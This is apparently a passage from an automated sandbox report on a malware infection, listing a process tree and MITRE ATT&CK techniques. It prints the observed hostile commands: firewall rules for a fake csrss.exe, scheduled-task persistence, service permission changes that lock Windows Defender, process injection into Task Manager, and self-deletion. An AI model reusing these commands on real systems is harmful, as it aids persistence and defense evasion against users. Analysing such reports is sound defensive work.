2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3720

C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe
"C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
PID:4300

C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe
"C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3476

C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe
"C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1016

C:\Users\Admin\AppData\Local\90a92308-ec6f-4fdf-a99a-eaac3801c6a9\build2.exe
"C:\Users\Admin\AppData\Local\90a92308-ec6f-4fdf-a99a-eaac3801c6a9\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2124

C:\Users\Admin\AppData\Local\90a92308-ec6f-4fdf-a99a-eaac3801c6a9\build2.exe
"C:\Users\Admin\AppData\Local\90a92308-ec6f-4fdf-a99a-eaac3801c6a9\build2.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4808

C:\Users\Admin\Documents\yy_eMsXbb8m4NCK3DGP1QfdV.exe
"C:\Users\Admin\Documents\yy_eMsXbb8m4NCK3DGP1QfdV.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5060

C:\Windows\SysWOW64\attrib.exe
attrib -?
3⤵
- Views/modifies file attributes
PID:4408

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd < Inebriarti.htm & ping -n 5 localhost
3⤵
PID:3784

C:\Windows\SysWOW64\PING.EXE
ping -n 5 localhost
4⤵
- Runs ping.exe
PID:1072

C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe
"C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe
"C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:4384

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
4⤵
PID:3632

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
5⤵
- Modifies Windows Firewall
PID:2876

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
PID:1256

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:4900

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
5⤵
PID:4292

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:364

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:1868

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
PID:5068

C:\Windows\SysWOW64\sc.exe
sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Launches sc.exe
PID:3148

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
5⤵
- Executes dropped EXE
PID:3476

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
PID:2216

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
7⤵
- Launches sc.exe
PID:3556

C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
5⤵
- Executes dropped EXE
PID:3776

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn "csrss" /f
6⤵
PID:2148

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn "ScheduledUpdate" /f
6⤵
PID:5060

C:\Users\Admin\Documents\_HPK6R0tuQbF1rZG9ijyRfT5.exe
"C:\Users\Admin\Documents\_HPK6R0tuQbF1rZG9ijyRfT5.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:1884

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im _HPK6R0tuQbF1rZG9ijyRfT5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\_HPK6R0tuQbF1rZG9ijyRfT5.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:2372

C:\Windows\SysWOW64\taskkill.exe
taskkill /im _HPK6R0tuQbF1rZG9ijyRfT5.exe /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:676

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:3104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 1860
3⤵
- Program crash
PID:1708

C:\Users\Admin\Documents\7sDdxnaCn9uTbm4IFBaPDSKc.exe
"C:\Users\Admin\Documents\7sDdxnaCn9uTbm4IFBaPDSKc.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4052

C:\Users\Admin\AppData\Local\Temp\LOL.exe
"C:\Users\Admin\AppData\Local\Temp\LOL.exe"
3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Users\Admin\Documents\UlYpvdYhAa2jo8A1FKcHlrbY.exe
"C:\Users\Admin\Documents\UlYpvdYhAa2jo8A1FKcHlrbY.exe"
2⤵
- Executes dropped EXE
PID:1660

C:\Users\Admin\Documents\UlYpvdYhAa2jo8A1FKcHlrbY.exe
"C:\Users\Admin\Documents\UlYpvdYhAa2jo8A1FKcHlrbY.exe"
3⤵
PID:3568

C:\Users\Admin\Documents\ZIz6NmG4BmtbW6nzMETkfeOr.exe
"C:\Users\Admin\Documents\ZIz6NmG4BmtbW6nzMETkfeOr.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
PID:384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 244
3⤵
- Program crash
PID:1316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 764
3⤵
- Program crash
PID:4232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 772
3⤵
- Program crash
PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 796
3⤵
- Program crash
PID:1056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 860
3⤵
- Program crash
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 868
3⤵
- Program crash
PID:1764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 1032
3⤵
- Program crash
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 1372
3⤵
- Program crash
PID:3804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "ZIz6NmG4BmtbW6nzMETkfeOr.exe" /f & erase "C:\Users\Admin\Documents\ZIz6NmG4BmtbW6nzMETkfeOr.exe" & exit
3⤵
PID:2504

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "ZIz6NmG4BmtbW6nzMETkfeOr.exe" /f
4⤵
- Kills process with taskkill
PID:1748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 1356
3⤵
- Program crash
PID:680

C:\Users\Admin\Documents\NsuJ8G3r1sZyzEFNicMl_8R1.exe
"C:\Users\Admin\Documents\NsuJ8G3r1sZyzEFNicMl_8R1.exe"
2⤵
- Executes dropped EXE
PID:5008

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_2.exe
arnatic_2.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2808

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 116 -ip 116
1⤵
PID:3660

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3832

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:2848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2848 -s 608
3⤵
- Program crash
PID:3104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2848 -ip 2848
1⤵
PID:444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4452 -ip 4452
1⤵
PID:3152

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\c8037e8e-ce3f-4502-a3cd-29a107b62001" /deny *S-1-1-0:(OI)(CI)(DE,DC)
1⤵
- Modifies file permissions
PID:4040

C:\Windows\SysWOW64\cmd.exe
cmd
1⤵
PID:4944

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
2⤵
- Enumerates processes with tasklist
PID:3804

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
2⤵
PID:1028

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^DPPUlpMDoxxhVrUIPtlDSFKoNmARJTULbxHxsooLczeCBvhhRbTNaFvXtGiKJUTgAJQAcAsHWmomCiGsjjZjquaSYKfKqbwAmNeS$" Strette.htm
2⤵
PID:2784

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tal.exe.pif
Tal.exe.pif H
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:720

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tal.exe.pif
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tal.exe.pif
3⤵
- Executes dropped EXE
PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 384 -ip 384
1⤵
PID:4016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 384 -ip 384
1⤵
PID:3572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 384 -ip 384
1⤵
PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 384 -ip 384
1⤵
PID:676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 384 -ip 384
1⤵
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 384 -ip 384
1⤵
PID:4828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 1656 -ip 1656
1⤵
PID:836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 384 -ip 384
1⤵
PID:3112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
PID:4396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2316 -ip 2316
1⤵
PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 384 -ip 384
1⤵
PID:3832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 384 -ip 384
1⤵
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1884 -ip 1884
1⤵
PID:3112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1812 -ip 1812
1⤵
PID:3548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1812 -ip 1812
1⤵
PID:432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2292 -ip 2292
1⤵
PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1812 -ip 1812
1⤵
PID:1144

C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe" --nt-service -f "C:\Users\Admin\AppData\Local\Temp\csrss\tor\torrc" --Log "notice file C:\Users\Admin\AppData\Local\Temp\csrss\tor\log.txt"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2628

C:\Users\Admin\AppData\Local\Temp\62eca45584\bguuwe.exe
C:\Users\Admin\AppData\Local\Temp\62eca45584\bguuwe.exe
1⤵
- Executes dropped EXE
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 484
2⤵
- Program crash
PID:1676

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2784 -ip 2784
1⤵
PID:5040

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Hidden Files and Directories

T1158

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

File Permissions Modification

T1222

Install Root Certificate

T1130

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery